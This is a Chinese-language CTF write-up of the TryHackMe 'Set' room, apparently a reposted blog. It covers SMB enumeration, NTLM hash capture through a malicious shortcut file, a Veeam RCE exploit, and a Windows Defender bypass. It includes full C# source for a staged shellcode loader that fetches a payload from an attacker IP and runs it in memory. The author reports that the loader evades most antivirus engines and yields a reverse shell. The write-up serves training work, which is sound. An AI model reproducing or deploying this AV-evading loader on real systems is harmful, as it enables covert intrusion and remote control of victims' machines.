当前位置: 首页 > news >正文

TryHackMe-Set(Windows渗透测试 | WinDefender免杀)

Set

您再次发现自己在Windcorp公司的内部网络上。上次你去那里的味道真好,你回来了 了解更多。

但是,这次他们设法保护了域控制器,因此您需要找到另一台服务器,并在第一次扫描时发现“Set”。

Set被用作开发人员的平台,最近遇到了一些问题。他们不得不重置很多用户并恢复备份(也许您不是他们网络上唯一的黑客?因此,他们决定确保所有用户都使用正确的密码并关闭一些松散的策略。 你还能找到进去的路吗?某些用户是否比其他用户更有特权?还是更草率的?也许您需要跳出框框思考一下,以规避他们的新安全控制…


端口扫描

循例nmap

在这里插入图片描述

有两个子域,加进hosts

Web枚举

进到set子域

在这里插入图片描述

在主页的源代码中的search.js发现了user.xml,里面记录了姓名、电话和邮箱

在这里插入图片描述

在这里插入图片描述

先把xml保存一下,可能会有用

gobuster扫一下

在这里插入图片描述

SMB枚举

appnotes.txt,这意味着可能会有账户的密码会比较薄弱

在这里插入图片描述

提取用户名

在这里插入图片描述

使用username-generator.py生成可能的账户名

在这里插入图片描述

在这里插入图片描述

crackmapexec爆

在这里插入图片描述

按这个速度爆下去,估计没个10天半个月都爆不完,我选择看一眼wp是哪个账户

在这里插入图片描述

在这里插入图片描述

smbmap看一眼

在这里插入图片描述

用smbclient连接,获得info.txt

在这里插入图片描述

flag1和一些信息

在这里插入图片描述

立足 - SMB-NTLM回传

它会自动读取我们上传的zip文件,并查看里面的文件

我们都知道windows可以直接通过\\ip\share来远程访问文件, 在thm中我们已经用过很多次了

如果它要是带着ntlm hash过来,那么我们将可以利用其凭据进行下一步操作

利用mslink创建链接文件,指向攻击机的smb share

在这里插入图片描述

压缩zip然后上传

responder开启监听,获得michellewat的hash

在这里插入图片描述

hashcat直接爆

在这里插入图片描述

看见开了5985端口,直接winrm登进来,同时拿到flag2

在这里插入图片描述

Veeam未授权RCE

netstat发现一个2805端口

在这里插入图片描述

查看进程

在这里插入图片描述

百度了解了下veeam,wmic、get-service、accesschk都用不了

直接暴力枚举

在这里插入图片描述

查看版本

在这里插入图片描述

看一眼nvd

在这里插入图片描述

该版本存在漏洞,现在应该要进行端口转发出来看看

2805端口虽然开在了0.0.0.0,但攻击机无法访问到,我也尝试了frp、chisel、ssh反向连接,应该是因为防火墙或是其他的缘故,连接不到攻击机

使用plink借助ssh来进行ssh反向连接并进行远程端口转发

在这里插入图片描述

攻击机查看,没问题

在这里插入图片描述

msf有exp

在这里插入图片描述

由于WinDefender的存在,我们无法直接使用msf进行getshell

并且还需要对msf的exp进行修改,使用windows/x64/exec执行命令,这样不会被WinDefender察觉

在这里插入图片描述

在这里插入图片描述

免杀 - Bypass WinDefender

现在虽然能够成功执行命令,但这是一次绝佳的免杀练习机会

首先我们选择做一个简单的分阶段的shellcode加载器,基于C#

using System;
using System.Runtime.InteropServices;
using System.Net;class Program
{[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);static void Main(string[] args){LoginQQ();}public static void LoginQQ(){string qq_loginURI = "http://10.14.39.48:8000/login_qq_api";WebClient webClient = new WebClient();byte[] qqLoginState = webClient.DownloadData(qq_loginURI);UInt32 QQOpen = VirtualAlloc(0, (UInt32)qqLoginState.Length, 0x1000, 0x40);Marshal.Copy(qqLoginState, 0, (IntPtr)(QQOpen), qqLoginState.Length);IntPtr QQHandle = IntPtr.Zero;UInt32 QQthreadId = 0;IntPtr QQparameter = IntPtr.Zero;QQHandle = CreateThread(0, 0, QQOpen, QQparameter, 0, ref QQthreadId);WaitForSingleObject(QQHandle, 0xFFFFFFFF);}
}

我们考虑了熵, 它挺低的,至少满足了thm教程中所说的5.x、6.x

在这里插入图片描述

简单的通过http获取shellcode并利用win32 api写入内存并执行

使用csc编译得到exe

上传到VirusTotal分析一下

在这里插入图片描述

我们编写的“QQ”很幸运,它绕过了大多数AV检测,包括WinDefender

这仅仅只使用了thm教导了一小部分知识,就这么轻松绕过了,或许是得益于分阶段优势的原因吧

在这里插入图片描述

免杀马测试

这么简单的免杀就到此为止,当然,我们并没有考虑运行时的内存检测,但让我们碰碰运气

生成shellcode

在这里插入图片描述

python开启http服务,把steged loader传过去

直接运行loader

在这里插入图片描述

loader会请求所谓的“login_qq_api”,其实这是我们的shellcode

在这里插入图片描述

nc监听的情况,成功getshell,并且没有运行时的内存检测,我们的免杀成功

在这里插入图片描述

权限提升 - 免杀马利用

回到房间正文,我们继续利用veeam的exp来通过我们的免杀马getshell

在这里插入图片描述

nc监听,成功过来one账户

在这里插入图片描述

该账户已经在administrators组中,并且shell是高IL

在这里插入图片描述

拿下最后的flag3

在这里插入图片描述

结束

整个房间或许难点应该在于绕过WinDefender做免杀这,但我有thm教导的知识,很轻松就绕过了

值得纪念的一天,这也是我第一次将thm教导一的小部分的红队免杀知识交付于此

在这里插入图片描述

http://www.lryc.cn/news/60852.html

相关文章:

  • 信安大佬真的用kali吗?
  • 禁用表单元素:Layui框架下的实践与技巧
  • spring boot 访问HTML
  • WPF教程(四)--Dispatcher
  • ijkplayer 编译增加支持更多的音视频格式
  • TOP命令显示完整命令行信息
  • Spring6从入门到精通 第一章 带你玩转Spring
  • Apache POI 实现用Java操作Excel完成读写操作
  • 改善供应商关系的八种方法
  • 网络安全-CDN绕过寻找真实IP
  • 牛客网 HJ28 素数伴侣【二分图匹配,匈牙利算法】困难
  • 带你畅玩ChatGPT
  • ChatGPT探索系列之六:思考ChatGPT的未来发展趋势和挑战
  • TryHackMe-Year of the Fox(Linux渗透测试)
  • ChatGPT 如何获取API Key
  • 明面抵制,暗中布局 对于AI,马斯克的言行为何如此“割裂”?
  • 【微服务中间件学习】redis基础及项目使用
  • ORA-04021:等待锁定对象时发生超时
  • 【华为OD机试真题 C++】1066 - 新工号中数字的最短长度 | 机试题+算法思路+考点+代码解析
  • 【数字 IC / FPGA】 有关建立/保持时间计算的思考
  • 【Fluent】Run can not be started until validation issues are resolved.
  • 【进阶C语言】有关动态内存管理的经典笔试题(详细图文讲解)
  • 1.Java系列之基础面试题总结
  • Android:usb转232串口通信
  • 动态设置图片的主题色(保留明暗关系)
  • mybatis中#与$的区别
  • CVPR2023论文整理
  • RK3399平台开发系列讲解(中断篇)掌握信号处理
  • 业余爱好者想入门编程,一定远离那些只会说No的家伙,尤其程序员
  • DHCP及中继(UOS)